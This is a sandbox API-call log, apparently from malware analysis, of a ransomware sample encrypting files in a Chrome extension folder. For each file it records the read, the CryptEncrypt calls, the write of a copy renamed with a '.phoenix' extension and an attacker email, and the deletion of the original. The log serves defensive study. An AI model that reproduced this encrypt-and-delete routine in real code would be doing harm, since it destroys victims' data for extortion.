	[0264.086] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\feedback.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\feedback.html"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0264.086] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=14504) returned 1
	[0264.086] CloseHandle (hObject=0x2b0) returned 1
	[0264.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\feedback.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\feedback.html")) returned 0x20
	[0264.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\feedback.html.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\feedback.html.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.086] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\feedback.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\feedback.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0264.087] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0264.087] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0264.087] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\feedback.html.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\feedback.html.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0264.087] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151200) returned 1
	[0264.087] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0264.087] ReadFile (in: hFile=0x2b0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x38a8, lpOverlapped=0x0) returned 1
	[0264.116] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x38b0, dwBufLen=0x38b0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x38b0) returned 1
	[0264.116] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x38b0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x38b0, lpOverlapped=0x0) returned 1
	[0264.117] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151400) returned 1
	[0264.117] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0264.117] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0264.117] CryptDestroyKey (hKey=0x151400) returned 1
	[0264.117] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0264.117] CryptDestroyKey (hKey=0x151200) returned 1
	[0264.117] CloseHandle (hObject=0x2b0) returned 1
	[0264.117] CloseHandle (hObject=0x308) returned 1
	[0264.117] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\feedback.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\feedback.html")) returned 1
	[0264.118] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0264.118] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\manifest.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0264.119] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2296) returned 1
	[0264.119] CloseHandle (hObject=0x308) returned 1
	[0264.119] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\manifest.json")) returned 0x20
	[0264.119] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\manifest.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\manifest.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.119] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0264.119] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0264.119] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0264.119] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\manifest.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\manifest.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0264.120] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151500) returned 1
	[0264.120] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0264.120] ReadFile (in: hFile=0x308, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x8f8, lpOverlapped=0x0) returned 1
	[0264.236] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x900, dwBufLen=0x900 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x900) returned 1
	[0264.236] WriteFile (in: hFile=0x2b0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x900, lpOverlapped=0x0) returned 1
	[0264.237] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151700) returned 1
	[0264.237] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0264.237] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0264.237] CryptDestroyKey (hKey=0x151700) returned 1
	[0264.237] WriteFile (in: hFile=0x2b0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0264.237] CryptDestroyKey (hKey=0x151500) returned 1
	[0264.237] CloseHandle (hObject=0x308) returned 1
	[0264.285] CloseHandle (hObject=0x2b0) returned 1
	[0264.285] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\manifest.json")) returned 1
	[0264.286] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0264.286] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_cast_streaming.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_cast_streaming.js"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0264.309] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=30882) returned 1
	[0264.309] CloseHandle (hObject=0x2f0) returned 1
	[0264.309] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_cast_streaming.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_cast_streaming.js")) returned 0x20
	[0264.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_cast_streaming.js.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_cast_streaming.js.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.310] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_cast_streaming.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_cast_streaming.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0264.310] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0264.310] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0264.310] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_cast_streaming.js.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_cast_streaming.js.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0264.312] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151640) returned 1
	[0264.312] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0264.312] ReadFile (in: hFile=0x2f0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x78a2, lpOverlapped=0x0) returned 1
	[0264.345] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x78b0, dwBufLen=0x78b0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x78b0) returned 1
	[0264.345] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x78b0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x78b0, lpOverlapped=0x0) returned 1
	[0264.346] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151500) returned 1
	[0264.346] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0264.346] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x60, dwBufLen=0x60 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x60) returned 1
	[0264.347] CryptDestroyKey (hKey=0x151500) returned 1
	[0264.347] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x112, lpOverlapped=0x0) returned 1
	[0264.347] CryptDestroyKey (hKey=0x151640) returned 1
	[0264.347] CloseHandle (hObject=0x2f0) returned 1
	[0264.347] CloseHandle (hObject=0x308) returned 1
	[0264.347] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_cast_streaming.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_cast_streaming.js")) returned 1
	[0264.349] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0264.349] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_webrtc.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_webrtc.js"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0264.350] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2215) returned 1
	[0264.350] CloseHandle (hObject=0x308) returned 1
	[0264.350] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_webrtc.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_webrtc.js")) returned 0x20
	[0264.350] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_webrtc.js.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_webrtc.js.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.350] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_webrtc.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_webrtc.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0264.350] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0264.350] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0264.350] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_webrtc.js.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_webrtc.js.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0264.351] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151440) returned 1
	[0264.351] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0264.351] ReadFile (in: hFile=0x308, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x8a7, lpOverlapped=0x0) returned 1
	[0264.369] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x8b0, dwBufLen=0x8b0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x8b0) returned 1
	[0264.369] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x8b0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x8b0, lpOverlapped=0x0) returned 1
	[0264.370] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1510c0) returned 1
	[0264.370] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0264.370] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0264.370] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0264.370] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0264.371] CryptDestroyKey (hKey=0x151440) returned 1
	[0264.371] CloseHandle (hObject=0x308) returned 1
	[0264.371] CloseHandle (hObject=0x2f0) returned 1
	[0264.371] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_webrtc.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_webrtc.js")) returned 1
	[0264.372] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0264.372] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\am\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\am\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0264.374] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=18471) returned 1
	[0264.374] CloseHandle (hObject=0x2f0) returned 1
	[0264.374] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\am\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\am\\messages.json")) returned 0x20
	[0264.374] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\am\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\am\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.374] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\am\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\am\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0264.374] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
